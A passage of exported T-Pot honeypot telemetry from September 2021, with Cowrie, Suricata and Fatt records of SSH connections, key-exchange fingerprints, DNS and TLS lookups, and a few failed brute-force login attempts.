"ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "c59ee92d4bdd", "@version": "1", "timestamp": "2021-09-20T11:12:28.628947Z", "@timestamp": "2021-09-20T11:12:28.628Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26526	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:12:29.931253+03	2021-09-20 14:15:13.384646+03	{"_id": "2QboAnwBvYTbRNuESiEl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1737017593279925, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 59192, "dest_port": 22, "timestamp": "2021-09-20T11:12:29.931253Z", "@timestamp": "2021-09-20T11:12:29.931Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26527	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:12:29.722447+03	2021-09-20 14:15:13.386644+03	{"_id": "2gboAnwBvYTbRNuESyFP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59192, "timestamp": "2021-09-20T11:12:29.722447", "@timestamp": "2021-09-20T11:12:29.722Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26528	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:12:30.538771+03	2021-09-20 14:15:13.387645+03	{"_id": "3gboAnwBvYTbRNuESyH2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "bbb3ae7627c6", "@version": "1", "duration": 3.212847948074341, "timestamp": "2021-09-20T11:12:30.538771Z", "@timestamp": "2021-09-20T11:12:30.538Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
26529	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:12:31.049863+03	2021-09-20 14:15:13.388646+03	{"_id": "5QboAnwBvYTbRNuETiEP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 48920, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1895, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1914958088486471, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 60744, "timestamp": "2021-09-20T11:12:31.049863Z", "@timestamp": "2021-09-20T11:12:31.049Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
26530	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:12:31.101705+03	2021-09-20 14:15:13.390647+03	{"_id": "5gboAnwBvYTbRNuETyE4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 34908, "dest_port": 443, "timestamp": "2021-09-20T11:12:31.101705", "@timestamp": "2021-09-20T11:12:31.101Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
26531	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:12:31.060417+03	2021-09-20 14:15:13.391646+03	{"_id": "6gboAnwBvYTbRNuETyHg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "c59ee92d4bdd", "@version": "1", "duration": 2.7176272869110107, "timestamp": "2021-09-20T11:12:31.060417Z", "@timestamp": "2021-09-20T11:12:31.060Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26532	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:12:32.314235+03	2021-09-20 14:15:13.393644+03	{"_id": "8QboAnwBvYTbRNuEUyEh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 41626, "dest_port": 22, "timestamp": "2021-09-20T11:12:32.314235", "@timestamp": "2021-09-20T11:12:32.314Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26533	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:12:31.744962+03	2021-09-20 14:15:13.394646+03	{"_id": "9AboAnwBvYTbRNuEUyHJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [alpha/alpha] failed", "session": "7c122e826c61", "@version": "1", "password": "alpha", "username": "alpha", "timestamp": "2021-09-20T11:12:31.744962Z", "@timestamp": "2021-09-20T11:12:31.744Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26534	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:12:32.314909+03	2021-09-20 14:15:13.395646+03	{"_id": "9QboAnwBvYTbRNuEUyHJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "91e801dc7626", "@version": "1", "timestamp": "2021-09-20T11:12:32.314909Z", "@timestamp": "2021-09-20T11:12:32.314Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26535	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:12:32.314114+03	2021-09-20 14:15:13.397644+03	{"_id": "-wboAnwBvYTbRNuEVSHg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1594680229723019, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 41626, "dest_port": 22, "timestamp": "2021-09-20T11:12:32.314114Z", "@timestamp": "2021-09-20T11:12:32.314Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26536	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:12:33.480037+03	2021-09-20 14:15:13.399644+03	{"_id": "_AboAnwBvYTbRNuEVyGx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [ftpadmin/ftpadmin] failed", "session": "91e801dc7626", "@version": "1", "password": "ftpadmin", "username": "ftpadmin", "timestamp": "2021-09-20T11:12:33.480037Z", "@timestamp": "2021-09-20T11:12:33.480Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26554	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:12:28.34306+03	2021-09-20 14:15:13.424674+03	{"_id": "zQboAnwBvYTbRNuERCEo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "c59ee92d4bdd", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:12:28.343060Z", "@timestamp": "2021-09-20T11:12:28.343Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26537	0000:0000:0000:0000:0000:0000:0000:0000	109.199.241.180	Suricata	2021-09-20 14:12:33.708309+03	2021-09-20 14:15:13.401648+03	{"_id": "AAboAnwBvYTbRNuEWSLJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:12:33.708309+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 150}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "0000:0000:0000:0000:0000:0000:0000:0000", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 306557260779221, "payload": "AAAABAMAAAD/AgAAAAAAAAAAAAH/jbk/AwAAAP8CAAAAAAAAAAAAAf8AAAAEAAAA/wUAAAAAAAAAAAAAAAAAAgQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:12:33.708309Z", "@timestamp": "2021-09-20T11:12:33.708Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......................?...................................................."}}	1	\N	\N	alert	\N	\N
26538	0000:0000:0000:0000:0000:0000:0000:0000	109.199.241.180	Suricata	2021-09-20 14:12:34.25448+03	2021-09-20 14:15:13.402675+03	{"_id": "BAboAnwBvYTbRNuEXSKy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:12:33.708309+0000", "pkts_toclient": 0, "pkts_toserver": 3, "bytes_toclient": 0, "bytes_toserver": 390}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "0000:0000:0000:0000:0000:0000:0000:0000", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 306557260779221, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:12:34.254480Z", "@timestamp": "2021-09-20T11:12:34.254Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": 